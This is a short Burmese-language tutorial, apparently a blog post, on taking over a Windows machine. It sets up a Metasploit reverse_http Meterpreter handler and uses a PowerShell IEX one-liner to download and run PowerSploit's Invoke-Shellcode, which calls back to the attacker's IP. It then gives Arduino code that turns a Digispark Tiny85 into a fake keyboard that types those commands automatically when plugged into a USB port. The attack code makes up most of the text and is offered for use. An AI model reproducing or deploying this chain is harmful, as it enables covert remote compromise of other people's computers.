Powersploit + Metasploit + Tiny85 (Hacking Windows Machine)

PowerSploit သံုးတဲ့နည္းေလးနည္းနည္းရွင္းျပမယ္။ သိပ္ေတာ့မခက္ပါဘူး ရွိျပီးသား Powersploit shellcode ကို download လွမ္းဆြဲျပီး Metasploit ရဲ႕ multihandler ကိုလွမ္းခ်ိတ္လိုက္တာပါပဲ။ ဒီေတာ့ အရင္ဆံုး Metasploit ရဲ႕ Handler ကို အရင္ ေျပာျပထားထားလိုက္မယ္။

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set LHOST <attackerip>
set LPORT 8080
exploit

exploit ကိုရိုက္လိုက္ျပီဆိုရင္ listen လုပ္ေနျပီဆိုတာေတာ့ အားလံုးသိျပီးသားပါ။ ဟုတ္ျပီ Powersploit ကိုဆက္စမ္းမယ္။

https://github.com/PowerShellMafia/PowerSploit

ဒါကေတာ့ powersploit ရဲ႕ link ေပါ့။ ဒီကေနမွက်ေနာ္ကေတာ့ code execute လုပ္မယ့္ payload ကိုပဲသံုးမယ္။ တျခားဟာေတြလဲ ရွိတယ္ေနာ္ ၾကိုက္တာသံုးနိုင္တယ္။

https://github.com/PowerShellMafia/PowerSploit/tree/master/CodeExecution

ဒီထဲက ps1 file ကို powershell ကေန download ဆြဲမယ္ဆိုေတာ့ ၃ နည္းရွိတယ္ ၾကိုက္ရာသံုးေပါ့ ။

3 Way to download from powershell

https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell

ပထမတစ္ခါတုန္းက Invoke-WebRequest ကို သံုးျပျပီးျပီဆိုေတာ့ ဒီတစ္ခါေတာ့ Web Client ကိုသံုးလိုက္မယ္။ ဒါေတြေတာ့ ကိုယ့္ဘာကိုရိုက္ၾကည့္ေပါ့ down လား မေဒါင္းလားဆိုတာ။

IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1’)

ဒီလိုဆို powershell extension ျဖစ္တဲ့ ps1 file ကိုေဒါင္းသြားမယ္။ ဒါေဒါင္းလိုက္ျပီးဆိုရင္ေတာ့ Invoke-Shellcode ဆိုတဲ့ တစ္ခုပါလာတာကိုေတြ႕ရမွာျဖစ္ပါတယ္။

get-help Invoke-Shellcode

ဒါဆိုရင္ ဒီ Invoke-Shellcode ကိုသံုးျပီးက်ေနာ္တို႕ multi handler က listen လုပ္ေနတဲ့ ဆီကိုပို႕ရဦးမွာေပါ့။

Invoke-Shellcode –Payload windows/meterpreter/reverse_http –Lhost <attacker_ip> –Lport 8080 –Force

ဒီေနရာမွာေတာ့ powersploit နဲ႕ metasploit ဇာတ္လမ္းကျပီးပါျပီ။ usb ေလးထိုးလိုက္တာနဲ႕ သူ႕ဘာသူအလုပ္လုပ္ဖို႕အပိုင္းပဲက်န္ေတာ့တယ္။ ဒါကေတာ့ ဒီလင့္ က အေၾကာင္းအရာေလးကို အရင္ဖတ္ထားေစခ်င္ပါတယ္။

Tiny85 as a keyboard

#include "DigiKeyboard.h"

void setup() {
  // don't need to set anything up to use DigiKeyboard
}

int i = 0;
void loop() {
    if (!i) {
        DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
        DigiKeyboard.sendKeyStroke(0);
        DigiKeyboard.delay(2000);
        DigiKeyboard.println("powershell");
        DigiKeyboard.delay(2000);
        DigiKeyboard.println("IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1')");
        DigiKeyboard.delay(2000);
        DigiKeyboard.println("Invoke-Shellcode -Payload windows/meterpreter/reverse_http -Lhost <ip> -Lport 8080 -Force");
        DigiKeyboard.delay(2000);
        
        i = 1;
    }
}

ဒါေလးကို tiny85 ဆီကို upload တင္လိုက္မယ္ဆိုရင္ USB ထိုးလိုက္တာနဲ႕ ဒီ command ေတြကို ရိုက္ေတာ့မွာျဖစ္ပါတယ္။ delay ေတြကိုျဖဳတ္လိုက္မယ္ဆိုရင္ ဒီထက္ေတာင္ပိုျမန္ပါဦးမယ္။

သူ႕အလုိလုိလုပ္သြားျပီ။ Meterpreter လဲ ပြင့္ျပီ။

Thanks xD